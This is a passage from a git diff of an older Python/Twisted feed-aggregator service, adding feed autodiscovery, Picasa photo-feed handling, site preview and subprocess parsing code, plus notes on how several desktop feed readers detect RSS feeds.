+        # (normally the end of the process) and let the process
+        # continue normally.
+        if self.state["url"] and self.state["feed_url"]:
+            self.startSecondDownload()
+            return self.d
+
+        # Start off by trying to download the page
+        download = DownloadCommand()
+        d = download.doCommand(self.state, str(self.state["try_url"]))
+        d.addCallback(self.downloadDone)
+        d.addErrback(self.downloadError)
+
+        return self.d
+
+####
+# Downloading the first URL
+####
+
+    def downloadDone(self, filename):
+        print("  download done filename: %s" % filename)
+        self.state["try_url_filename"] = filename
+        # assume it's HTML and try to scrape out any link header information
+        htmlscrape = ScrapeLinkCommand(self.sm)
+        d = htmlscrape.doCommand(self.state, filename)
+        d.addCallback(self.scrapeDone)
+        d.addErrback(self.scrapeFailed)
+
+    def downloadError(self, failure):
+        # this isn't actually a hard failure, it just couldn't
+        # download the file
+        print("  download failed: %s" % failure.getErrorMessage())
+        self.d.errback(Failure(PageNotFoundError("page not found")))
+
+####
+# Scraping the download to figure out if it's HTML or RSS
+####
+
+    def scrapeDone(self, filename):
+        print("  scrape done filename: %s" % filename)
+        self.state["scrape_results_filename"] = filename
+        file_to_state = FileToStateCommand()
+        self.state["scrape"] = dict()
+        d = file_to_state.doCommand(self.state["scrape"], filename)
+        d.addCallback(self.loadDone)
+        d.addErrback(self.loadFailed)
+
+    def scrapeFailed(self, failure):
+        print("  scrape failed: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+    def loadDone(self, *args):
+        print("  state load done")
+        print self.state
+
+        # see if we got a site without links
+        scrape = self.state["scrape"]
+
+        # If it doesn't look like an HTML file we just move to trying
+        # an RSS file instead.
+        if not scrape["looks_like_html"]:
+            print("  doesn't appear to be an HTML file - trying RSS instead")
+            self.state["url"] = self.state["try_url"]
+            self.state["feed_url"] = self.state["try_url"]
+            self.tryFeed()
+            return
+
+        print("  looks like HTML")
+
+        feeds = scrape["feed_url"]
+
+        # If we had an HTML file and there's no feed, then we bomb
+        # out.  Nothing more we can do.
+        if len(feeds) == 0:
+            print("  no feed found in apparent HTML file")
+            self.d.errback(Failure(FeedNotFoundError("no feed found in html file")))
+            return
+
+        # At this point fix up any relative URLs we run across so that
+        # a second download or url_pick that happens stores the right
+        # url as they will all go to the second download bit.  We also
+        # fix up the URLs so they aren't unicode and work around the
+        # problem in the urlparse code that tries to cache information
+        # about urls - but fails to respect type information.
+        for i in feeds:
+            i[0] = str(i[0])
+            i[0] = resolve_relative_url(i[0], self.state["try_url"])
+
+        # If we only have one feed, this is easy.  If we have more
+        # than one feed, see if we can get it down to one.  Otherwise
+        # we'll need to ask the user.
+        preferred = None
+        if len(feeds) == 1:
+            preferred = feeds[0]
+        else:
+            preferred = self.getPreferredFeed(self.state["try_url"], feeds)
+            # No preferred?  Ask the user.
+            if not preferred:
+                d = simplejson.dumps(feeds)
+                self.d.errback(Failure(NeedsFeedPickError("need to pick a feed", d)))
+                return
+            else:
+                print("  got preferred feed %s" % preferred[2])
+
+        # If we got this far we have a valid URL that seems to contain
+        # an RSS link.  Fix up the link and try to get the RSS feed
+        # and make sure it's valid.
+        self.state["url"] = self.state["try_url"]
+        self.state["feed_url"] = preferred[0]
+        self.state["feed_title"] = preferred[2]
+
+        self.startSecondDownload()
+
+    def loadFailed(self, failure):
+        print("  state load failed: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+    def getPreferredFeed(self, url, feeds):
+        print("  looking for preferred feed for %s" % url)
+        # see if it's a twitter feed
+        t = Twitter()
+        if t.isTwitterURL(url):
+            return t.getPreferredFeed(feeds)
+
+        # see if it's a flickr feed
+        f = Flickr()
+        if f.isFlickrURL(url):
+            return f.getPreferredFeed(feeds)
+
+        d = Delicious()
+        if d.isDelicious(url):
+            return d.getPreferredFeed(feeds)
+
+        return None
+
+####
+# Downloaded a possible feed - make sure it's valid
+####
+
+    def startSecondDownload(self):
+        download = DownloadCommand()
+        d = download.doCommand(self.state, str(self.state["feed_url"]))
+        d.addCallback(self.secondDownloadDone)
+        d.addErrback(self.secondDownloadFailed)
+
+    def secondDownloadDone(self, filename):
+        print("  second download done")
+        self.state["try_url_filename"] = filename
+        self.tryFeed()
+
+    def secondDownloadFailed(self, failure):
+        print("  failed to download second url: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+####
+# Checking if the file is an RSS feed
+####
+
+    def tryFeed(self):
+        feed_parse = FeedParseCommand(self.sm)
+        print("  XXX parsing feed, but need to fix relative URLs first here somehow")
+        d = feed_parse.doCommand(self.state, self.state["try_url_filename"])
+        d.addCallback(self.feedParseSucceeded)
+        d.addErrback(self.feedParseFailed)
+
+    def feedParseSucceeded(self, filename):
+        print("  feed parse succeeded filename: %s" % filename)
+        self.state["try_url_parsed_feed_filename"] = filename
+
+        file_to_state = FileToStateCommand()
+        self.state["parsed_feed"] = dict()
+        d = file_to_state.doCommand(self.state["parsed_feed"], filename)
+        d.addCallback(self.feedLoadDone)
+        d.addErrback(self.feedLoadFailed)
+
+    def feedParseFailed(self, failure):
+        print("  feed parse failed: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+    def feedLoadDone(self, *args):
+        print("  parsed feed loaded")
+        pf = self.state["parsed_feed"]
+        if len(pf["entries"]) == 0:
+            self.d.errback(Failure(InvalidFeedError("feed is invalid or empty")))
+            return
+
+        # If we got this far we have a url - hopefully the link in the
+        # actual RSS contains the real url?  Otherwise it's just the
+        # rss feed - better than nothing.
+        print("  before link from feed url is \"%s\"" % self.state["feed_url"])
+        if pf["link"] is not None:
+            print("  parsed feed has a link \"%s\"" % pf["link"])
+            self.state["url"] = resolve_relative_url(pf["link"], self.state["feed_url"])
+
+        # Now that we have the final url set the type - it's used from
+        # the NewSiteDone code as well as the PreviewSite code
+        self.state["type"] = self.getFeedType()
+
+        # we're done!
+        self.d.callback(None)
+
+    def feedLoadFailed(self, failure):
+        print("  parsed feed load failed: %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+    def getFeedType(self):
+        # This will try and get a feed type and will default to "feed"
+        # if it doesn't match anything else.
+        url = self.state["url"]
+
+        u = urlparse.urlparse(url)
+        urlparse.clear_cache()
+        host = u[1]
+        path = u[2]
+
+        # Check to see if it's a flickr url
+        f = Flickr()
+        if f.isFlickrURL(url):
+            return "flickr"
+
+        # Check to see if it's a twitter url
+        t = Twitter()
+        if t.isTwitterURL(url):
+            return "twitter"
+
+        # Check to see if it's an identi.ca url
+        t = Identica()
+        if t.isIdentica(url):
+            return "identica"
+
+        t = Delicious()
+        if t.isDelicious(url):
+            return "delicious"
+
+        return "feed"
+
+
+
+####
+# Create our site object
+####
+
+class NewSiteCreate(BaseCommand):
+    """
+    This takes the information from the state and creates a new site
+    object for this person.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "new-site-create"
+        self.d = None
+        self.state = None
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+        self.d = defer.Deferred()
+
+        self.createSite()
+
+        return self.d
+
+    def createSite(self):
+        feed_type = self.state["type"]
+
+        print("  url is %s" % self.state["url"])
+        print("  feed is %s" % self.state["feed_url"])
+
+        q = """
+            INSERT into site (person_id, url, type, feed, title, created, last_update, last_poll)
+            values (%s, %s, %s, %s, %s, %s, %s, %s)
+            """
+        ns = self.state["new_site"]
+        t = datetime.datetime.utcnow()
+        d = self.dcm.runInteraction(self.newSiteInteraction, q,
+                                    (ns["person_id"], self.state["url"],
+                                     feed_type,
+                                     self.state["feed_url"], self.state["feed_title"],
+                                     t, t, t))
+
+        d.addCallback(self.siteSetupDone)
+        d.addErrback(self.siteSetupFailed)
+
+    def newSiteInteraction(self, trans, *args):
+        trans.execute(*args)
+        return trans.lastrowid
+
+    def siteSetupDone(self, results):
+        self.state["site_id"] = results
+        print("  added site %s to person %s" % (results,
+                                                self.state["new_site"]["person_id"]))
+        print("  site setup done")
+        self.done()
+
+    def siteSetupFailed(self, failure):
+        print("site setup failed %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+####
+# Done!
+####
+
+    def done(self):
+        self.d.callback(None)
+
+class NewSiteAudit(BaseCommand):
+    """
+    Adds an audit record based on the new site that's just been created.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "new-site-audit"
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+
+        q = """
+            INSERT INTO change_audit (stamp, action, item_type, item_id, follower_id, referer, remoteip, useragent)
+            VALUES (%s, %s, %s, %s, %s, %s, %s, %s)
+            """
+        t = datetime.datetime.utcnow()
+
+        # get all of the tracking info
+        ti = self.state["new_site"]["track_info"]
+        remoteip=ti.get("remoteip", None)
+        useragent=ti.get("useragent", None)
+        referer=ti.get("referer", None)
+        follower=ti.get("follower", None)
+
+        d = self.dcm.runQuery(q, (t, "add", "site", state["site_id"], follower, referer, remoteip, useragent))
+        d.addCallback(self.done)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def done(self, *args, **kw):
+        self.d.callback(None)
+
+    def error(self, failure):
+        self.d.errback(failure)
+
+
+class NewSiteDone(BaseCommand):
+    """
+    Updates the status on the new_site object when we're done.
+    """
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "new-site-done"
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+
+        q = """
+            UPDATE new_site SET status = "done", site_id = %s where id = %s
+            """
+        d = self.dcm.runQuery(q, (state["site_id"], state["id"]))
+        d.addCallback(self.done)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def done(self, *args, **kw):
+        site_history_new_ids = self.state.get("site_history_new_ids", [])
+        self.d.callback(dict(site_id=self.state["site_id"],
+                             site_history_new_ids=site_history_new_ids,
+                             type=self.state["type"]))
+
+    def error(self, failure):
+        self.d.errback(failure)
+
+class NewSiteError:
+    def __init__(self, dcm):
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def handleError(self, state, failure):
+        error = None
+        id = state["id"]
+        self.orig_failure = failure
+
+        if failure.check(NeedsFeedPickError):
+            data = failure.value.data
+            q = """
+                UPDATE new_site SET status = "pick_url", data = %s WHERE id = %s
+                """
+
+            d = self.dcm.runQuery(q, (data, id))
+            d.addCallback(self.updateDone)
+
+        else:
+            q = """
+                UPDATE new_site SET status = "error", error = %s where id = %s
+                """
+
+            if failure.check(PageNotFoundError):
+                error = "page_not_found"
+
+            elif failure.check(web_error.Error):
+                error = "page_not_found"
+
+            elif failure.check(ConnectionRefusedError):
+                error = "page_not_found"
+
+            elif failure.check(FeedNotFoundError):
+                error = "feed_not_found"
+
+            elif failure.check(InvalidFeedError):
+                error = "invalid_feed"
+
+            else:
+                error = "internal"
+
+            d = self.dcm.runQuery(q, (error, id))
+            d.addCallback(self.updateDoneError)
+
+        return self.d
+
+    def updateDoneError(self, *args, **kw):
+        self.d.errback(self.orig_failure)
+
+    def updateDone(self, *args, **kw):
+        self.d.callback(dict(site_id=None, type=None))
diff --git a/services/command/newsite.txt b/services/command/newsite.txt
new file mode 100644 (file)
index 0000000..b63fc28
--- /dev/null
@@ -0,0 +1,133 @@
+Notes on discovery:
+
+Stuff from Mark Pilgrim (circa 2002, but still useful):
+
+http://diveintomark.org/archives/2002/08/15/ultraliberal_rss_locator
+http://diveintomark.org/archives/2002/05/31/more_on_rss_autodiscovery
+http://diveintomark.org/projects/misc/rssfinder.py.txt
+
+Feed URLs:
+
+http://25hoursaday.com/draft-obasanjo-feed-URI-scheme-02.html
+
+How Vienna takes a URL and figures out if it's a feed:
+
+o See NewSubscription.m verifyFeedURL
+
+1. If it has a feed: prefix, it's a feed.
+
+2. If it ends in .rss, .rdf, or .xml, it's a feed.
+
+3. Downloads the URL in question after pasting an http:// on the front
+of it
+
+4. Passes it to RichXMLParser.m extractFeeds
+
+  1. Parses it as XML
+
+  2. Walks the list of tags
+
+  3. If the tag is named 'rss', 'rdf:rdf' or 'feed' it's not HTML and
+  it returns nothing found.
+
+  4. If it finds the 'link' tag it checks if it's of type
+  'application/rss+xml' or 'application/atom+xml' and if it is, it's
+  returned as a set of valid links.
+
+5. It takes the first link returned and doesn't ask the user (good
+try, but could we do better?)
+
+6. It takes the link and tries to parse it as a feed.
+
+
+How Liferea takes a URL and figures out if it's a feed:
+
+o See src/feed.c feed_auto_discover()
+o See src/html.c html_auto_discover_feed()
+
+1. Walks through the downloaded file and looks to see if it's a <link>
+or <a> tag. (html.c:search_links())
+
+2. For each of the <link> tag it looks through them to see if they
+contain the string "alternate" and also any of of the strings:
+
+text/xml, rss+xml, rdf+xml, atom+xml
+
+3. If it doesn't find any <link> refs it looks for any <a> tags on the
+page.  For each of those, if they contain the following strings
+anywhere they are considered links:
+
+rdf, xml, rss, atom
+
+See html.c:checkLinkRef() for details on #2 and #3.
+
+4. It chooses the first link found, no matter what it is from a <link>
+tag or <a> tag.
+
+5. It fixes any relative URLs into absolute URLs.  (common.c: common_build_url)
+
+How PenguinTV takes a URL and tries to figure out if it's a feed or
+not.
+
+o See AddFeedUtils.py: correct_url()
+
+1. It sees if the URL is an itunes podcast url.  If it is, it gets rss
+information from the itunes
+page. (itunes.py:is_itunes_url()/get_rss_from_itunes())
+
+2. It downloads the URL.
+
+3. It looks at the content type that was returned from the web server.
+
+4. If it's in the following list of mime types, it doesn't do anything:
+
+  'application/atom+xml', 'application/rss+xml',
+  'application/rdf+xml', 'application/xml', 'text/xml', 'text/plain'
+
+5. If it's in the following list of mime types, it fires up an
+alternate parser and tries to extract information (AddFeedUtils.py: AltParser())
+
+  'text/html', 'application/xhtml+xml'
+
+6. The alternate parser is an HTMLParser.HTMLParser derivative.  If
+there's an exception during the parse, the data is thrown against the
+feedparser to see if it's just a feed that we've been passed.
+
+7. It looks for <link> tags and exits when it runs into the end of the
+<head> tag.
+
+8. It looks in <link> tags to make sure they contain rel="alternate"
+and that the type is in the list of:
+
+  'application/atom+xml', 'application/rss+xml', 'text/xml'
+
+And if it is, he adds them to a list of available options.
+
+9. If there are no available options he throws the actual url at feedparser.
+
+  1. He uses this test to figure out if it's a valid feed or not (most
+  of this is wrapped in a try/catch)
+
+    if len(data['channel']) == 0 or len(data['items']) == 0: #nope
+
+  2. If it passes those tests, it's considered a feed, not html
+
+10. For each of the candidate choices, the mime types are checked
+against the handled mimetypes found in step 4.
+
+11. All URLs are fixed up:
+
+  1. It's checked to see if it doesn't start with http (and needs to
+  be fixed up)
+
+  2. It checks for a site that starts with a '//' href like
+  '//foo.xml' by stuffing a 'http:' at the front. (gnomefiles.org?)
+
+  3. He checks for one that starts with '/' and stuffs the URL in as
+  the base (lwn.net) (I think we just need to do proper relative URL
+  detection - should handle this case.)
+
+12. After all the URLs are fixed, the remaining URLs are displayed to
+the user to pick.
+
+
diff --git a/services/command/picasa.py b/services/command/picasa.py
new file mode 100644 (file)
index 0000000..54387f4
--- /dev/null
@@ -0,0 +1,346 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# This is basically here so we can test it - the only user is the
+# picasa service
+
+from twisted.internet import defer
+from twisted.python.failure import Failure
+from services.command.exceptions import PageNotFoundError
+from services.command.base import BaseCommand
+from urlparse import urlparse
+
+import gdata.photos, gdata.photos.service
+import datetime, time
+import re
+import simplejson
+
+def gettimestamp(data):
+    # fix up milisecond time stamps that google generates (!)
+    data = re.sub("(\.\d\d\dZ)$", ".000Z", data)
+    return time.strptime(data, '%Y-%m-%dT%H:%M:%S.000Z')[0:6]
+
+def map_album_ids_to_names(entries):
+    retval = {}
+    for i in entries:
+        retval[i.GetAlbumId()] = i.name.text
+    return retval
+
+def photo_to_url(user, id, album):
+    return "http://picasaweb.google.com/%s/%s/photo#%s" % (user, album, id)
+
+class Picasa:
+    def feedURLForUser(self, user):
+        base = "http://picasaweb.google.com/data/feed/api/user/"
+        photo_uri = base + user + "?kind=photo&thumbsize=64"
+        return photo_uri
+
+    def photoFeedForUser(self, user):
+
+        base = "http://picasaweb.google.com/data/feed/api/user/"
+        album_uri = base + user + "?kind=album"
+        photo_uri = base + user + "?kind=photo&thumbsize=64&max-results=99"
+
+        pws = gdata.photos.service.PhotosService()
+
+        # we need the album so we can map album ids to album names so
+        # we can make urls for the photos
+        album_feed = pws.GetFeed(album_uri)
+        album_map = map_album_ids_to_names(album_feed.entry)
+
+        # photo feed
+        feed = pws.GetFeed(photo_uri)
+
+        data = dict()
+
+        data["version"] = "atom10"
+        data["title"] = feed.title.text
+        data["link"] = 'http://picasaweb.google.com/' + user
+        data["last_update"] = gettimestamp(feed.updated.text)
+        data["feed_id"] = feed.id.text
+        data["feed_image"] = feed.icon.text
+        data["feed_url"] = photo_uri
+
+        data["entries"] = []
+
+        for i in feed.entry:
+            le = dict()
+            le["title"] = i.title.text
+            le["link"] = photo_to_url(user, i.gphoto_id.text,
+                                      album_map[i.albumid.text])
+            le["entry_id"] = i.id.text
+            le["published"] = gettimestamp(i.published.text)
+            le["updated"] = gettimestamp(i.updated.text)
+            le["summary"] = i.summary.text
+            le["content"] = i.content.text
+
+            le["display_cache"] = i.media.thumbnail[0].url
+
+            data["entries"].append(le)
+
+        return data
+
+    def userForPath(self, path):
+        # picasa form
+        # http://picasaweb.google.com/<user>
+        # http://picasaweb.google.com/<user>/<album>
+        # http://picasaweb.google.com/<user>/<album>/photo#1212
+        # http://picasaweb.google.com/data/feed/base/user/<user>
+        # http://picasaweb.google.com/data/feed/base/user/<user>?a=b
+        # http://picasaweb.google.com/data/feed/api/user/<user>
+        # http://picasaweb.google.com/data/feed/api/user/<user>?a=b
+        picasa_user = None
+
+        # check for the data/feed form first
+        match = re.match('^/data/feed/(base|api)/user/([^/\?]+).*$', path)
+        if match:
+            picasa_user = match.group(2)
+
+        if picasa_user is None:
+            match = re.match('^/([^/]+).*$', path)
+            if match:
+                picasa_user = match.group(1)
+
+        return picasa_user
+
+class PicasaNewSetup(BaseCommand):
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "new-picasa-setup"
+
+    def doCommand(self, state, id):
+        self.id = id
+        self.state = state
+
+        url = self.state["try_url"]
+        u = urlparse(url)
+
+        path = u[2]
+
+        # This command is here to fix up the url for the picasa site
+        picasa_user = Picasa().userForPath(path)
+
+        # fixup the url
+        self.state["url"] = 'http://picasaweb.google.com/' + picasa_user
+        self.state["feed_url"] = Picasa().feedURLForUser(picasa_user)
+
+        d = defer.Deferred()
+        d.callback(picasa_user)
+
+        return d
+
+class PicasaSetup(BaseCommand):
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.dcm = dcm
+        self.name = "picasa-setup"
+        self.d = None
+
+    def doCommand(self, state, id):
+        self.state = state
+
+        state["site_refresh_id"] = id
+
+        self.d = defer.Deferred()
+
+        q = """
+            SELECT site_id FROM site_refresh WHERE id = %s
+            """
+
+        d = self.dcm.runQuery(q, id)
+        d.addCallback(self.gotNewSite)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def gotNewSite(self, results):
+        results = results[0][0]
+
+        self.state["site_id"] = results
+
+        q = """
+            SELECT url, feed FROM site WHERE id = %s
+            """
+
+        d = self.dcm.runQuery(q, self.state["site_id"])
+        d.addCallback(self.gotSite)
+        d.addErrback(self.error)
+
+
+    def gotSite(self, results):
+        print("  got site")
+        url = results[0][0]
+        feed_url = results[0][1]
+        self.state["url"] = url
+        self.state["feed_url"] = feed_url
+
+        print("  picasa url: %s" % url)
+        print("  picasa feed_url: %s" % feed_url)
+
+        u = urlparse(url)
+        path = u[2]
+
+        picasa_user = Picasa().userForPath(path)
+
+        self.d.callback(picasa_user)
+
+    def error(self, failure):
+        print("  site setup failed %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+
+process_name = "picasa-poll-service"
+
+class PicasaPollFeed(BaseCommand):
+    def __init__(self, sm):
+        BaseCommand.__init__(self)
+        """
+        Pass in a Process Manager to give us access to programs
+        running on this machine, including the html scraping
+        process. We just proxy to it.
+        """
+        self.d = None
+        self.sm = sm
+        self.user = None
+        self.ss = None
+        self.name = "picasa-poll-feed"
+
+    def doCommand(self, state, user):
+        """
+        This command expects a username coming into it and will return
+        a filename containing the feed data.
+        """
+        self.d = defer.Deferred()
+        self.user = user
+        self.state = state
+
+        print("  user is %s" % user)
+
+        d = self.sm.getService(process_name)
+        d.addCallback(self.serviceReady)
+        d.addErrback(self.serviceFailure)
+
+        return self.d
+
+    def serviceReady(self, service):
+        self.ss = service
+        print("  serviceReady")
+        d = self.ss.proto.parse(str(self.user))
+
+        d.addCallback(self.parseDone)
+        d.addErrback(self.parseError)
+
+    def serviceFailure(self, failure):
+        print("  serviceFailure")
+        self.d.errback(failure)
+
+    def parseDone(self, filename):
+        print("  parse done %s" % filename)
+        self.state["feed_parsed_filename"] = filename
+        self.sm.releaseService(self.ss)
+        self.ss = None
+        self.d.callback(filename)
+
+    def parseError(self, failure):
+        print("  parse error")
+        self.sm.serviceFailed(self.ss)
+        self.ss = None
+        self.d.errback(Failure(PageNotFoundError("page not found")))
+
+class PicasaCreateCommand(BaseCommand):
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "picasa-insert"
+        self.dcm = dcm
+        self.d = None
+
+    def doCommand(self, state, *args):
+        self.state = state
+
+        state["type"] = "picasa"
+
+        self.d = defer.Deferred()
+
+        t = datetime.datetime.utcnow()
+
+        q = """
+            INSERT into site (person_id, url, type, feed, created, last_update, last_poll)
+            VALUES (%s, %s, %s, %s, %s, %s, %s)
+            """
+        d = self.dcm.runInteraction(self.newInteraction, q,
+                                    (state["new_site"]["person_id"],
+                                     state["url"], state["type"],
+                                     state["feed_url"], t, t, t))
+
+        d.addCallback(self.newSetupDone)
+        d.addErrback(self.newSetupFailed)
+
+        return self.d
+
+    def newInteraction(self, trans, *args):
+        trans.execute(*args)
+        return trans.lastrowid
+
+    def newSetupDone(self, results):
+        self.state["site_id"] = results;
+        print("  site setup done id %s" % results)
+        self.d.callback(None)
+
+    def newSetupFailed(self, failure):
+        print("  site setup failed %s" % failure.getErrorMessage())
+        self.d.errback(failure)
+
+
+class PicasaPreviewLoadFeed(BaseCommand):
+    """
+    Just takes the filename output from the external picasa parse and
+    loads it into the parsed_feed var.  It also sets the "type" var in
+    the state so that we know we've got a picasa feed when we're
+    passing it back.
+    """
+    def __init__(self):
+        BaseCommand.__init__(self)
+        self.name = "picasa-preview-load-feed"
+        self.d = None
+
+    def doCommand(self, state, *args):
+        self.state = state
+
+        state["type"] = "picasa"
+
+        self.d = defer.Deferred()
+
+        # load the feed and stuff into parsed_feed
+        filename = self.state["feed_parsed_filename"]
+        try:
+            f = open(filename, "r")
+            j = simplejson.loads(f.read())
+
+            self.state["parsed_feed"] = j
+
+        except Exception, e:
+            self.d.errback(Failure(e))
+
+        self.d.callback(None)
+
+        return self.d
diff --git a/services/command/previewsite.py b/services/command/previewsite.py
new file mode 100644 (file)
index 0000000..bad7d13
--- /dev/null
@@ -0,0 +1,84 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from services.command.newsite import NewSiteSetup
+from services.command.base import BaseCommand
+from services.command.utils import resolve_relative_url
+from twisted.internet import defer
+from twisted.python.failure import Failure
+import simplejson
+
+class PreviewSiteDone(BaseCommand):
+    """
+    Update the preview request now that we've got a parsed feed.
+    """
+    # input is state["parsed_feed"]
+    # output puts that data in the new_site table
+    # set status to "preview_done"
+    def __init__(self, dcm):
+        BaseCommand.__init__(self)
+        self.name = "preview-site-done"
+        self.dcm = dcm
+        self.d = defer.Deferred()
+
+    def doCommand(self, state, *args, **kw):
+        self.state = state
+
+        feed = state.get("parsed_feed", None)
+        if feed:
+            # In order to avoid hitting the 65k maximum column limit in
+            # mysql trim down the feed except for the first 6 entries,
+            # which is the most we'll use for the preview.
+            feed["entries"] = feed["entries"][:6]
+
+            # Clean up any relative URLs that might be lurking
+            for i in feed["entries"]:
+                if i.has_key("link"):
+                    i["link"] = resolve_relative_url(i["link"], self.state["url"])
+
+            # we always repace the link value that came with the feed
+            # because it might have been fixed up for relative urls or it
+            # might not have been included in the feed
+            feed["link"] = state["url"]
+
+        # save the current if it's available (created by linkedin)
+        current = state.get("current", None)
+
+        # load up the data
+        data = simplejson.dumps(dict(feed=feed, current=current, type=state["type"]))
+
+        q = """
+            UPDATE new_site SET status = "preview_done", data = %s where id = %s
+            """
+
+        d = self.dcm.runQuery(q, (data, state["id"]))
+        d.addCallback(self.done)
+        d.addErrback(self.error)
+
+        return self.d
+
+    def done(self, *args, **kw):
+        self.d.callback(None)
+
+    def error(self, failure):
+        self.d.errback(failure)
+
diff --git a/services/command/service.py b/services/command/service.py
new file mode 100644 (file)
index 0000000..44e0505
--- /dev/null
@@ -0,0 +1,505 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from twisted.internet import defer, reactor, protocol, task
+
+from twisted.python.failure import Failure
+from services.command.exceptions import ServiceSubprocessError
+
+import os
+import re
+
+# http://twistedmatrix.com/projects/core/documentation/howto/process.html
+# http://foss.eepatents.com/trac/WinDictator/browser/projects/WinDictator/trunk/windictator/linux/protocol.py
+# http://twistedmatrix.com/trac/browser/trunk/twisted/protocols/basic.py#L213
+class ParseProcess(protocol.ProcessProtocol):
+
+    def __init__(self):
+        self.req = None
+        self.buf = ""
+        self.running = False
+        self.done = None
+        self.ready = defer.Deferred()
+        self.parse_deferred = None
+        self.gone = defer.Deferred()
+
+    def getStarted(self):
+        """
+        This returns the deferred for when the process is ready to go.
+        """
+        return self.ready
+
+    def getGone(self):
+        """
+        This returns the deferred for when the process is gone.
+        """
+        return self.gone
+
+    def parse(self, filename):
+        """
+        Tell the subprocess to go and parse a file.  You have to pass
+        in a request object which will be informed of success or
+        failure.
+        """
+        assert(not self.running)
+        self.transport.write("parse %s\r\n" % filename)
+        self.parse_deferred = defer.Deferred()
+        self.running = True
+        return self.parse_deferred
+
+    def quit(self):
+        """
+        Tell the subprocess to quit.
+        """
+        self.transport.write("quit\r\n")
+
+    def stopRunning(self):
+        """
+        Call this when the subprocess is done handling a job and can
+        run another one.
+        """
+        self.running = False
+        p = self.parse_deferred
+        self.parse_deferred = None
+        return p
+
+    def lineReceived(self, line):
+        """
+        Handle one line of data.
+        """
+        if line == "ready":
+            self.ready.callback("ready")
+            self.ready = None
+            print("  subprocess is alive and ready.")
+            return
+
+        foundMatch = False
+
+        # We need to be very careful here to make sure that we do
+        # things in the right order or some nasty race conditions can
+        # result.  The parse callback can result in re-using this
+        # object before this function returns so we need to make sure
+        # that if we don't change state in any code after the
+        # callback.
+
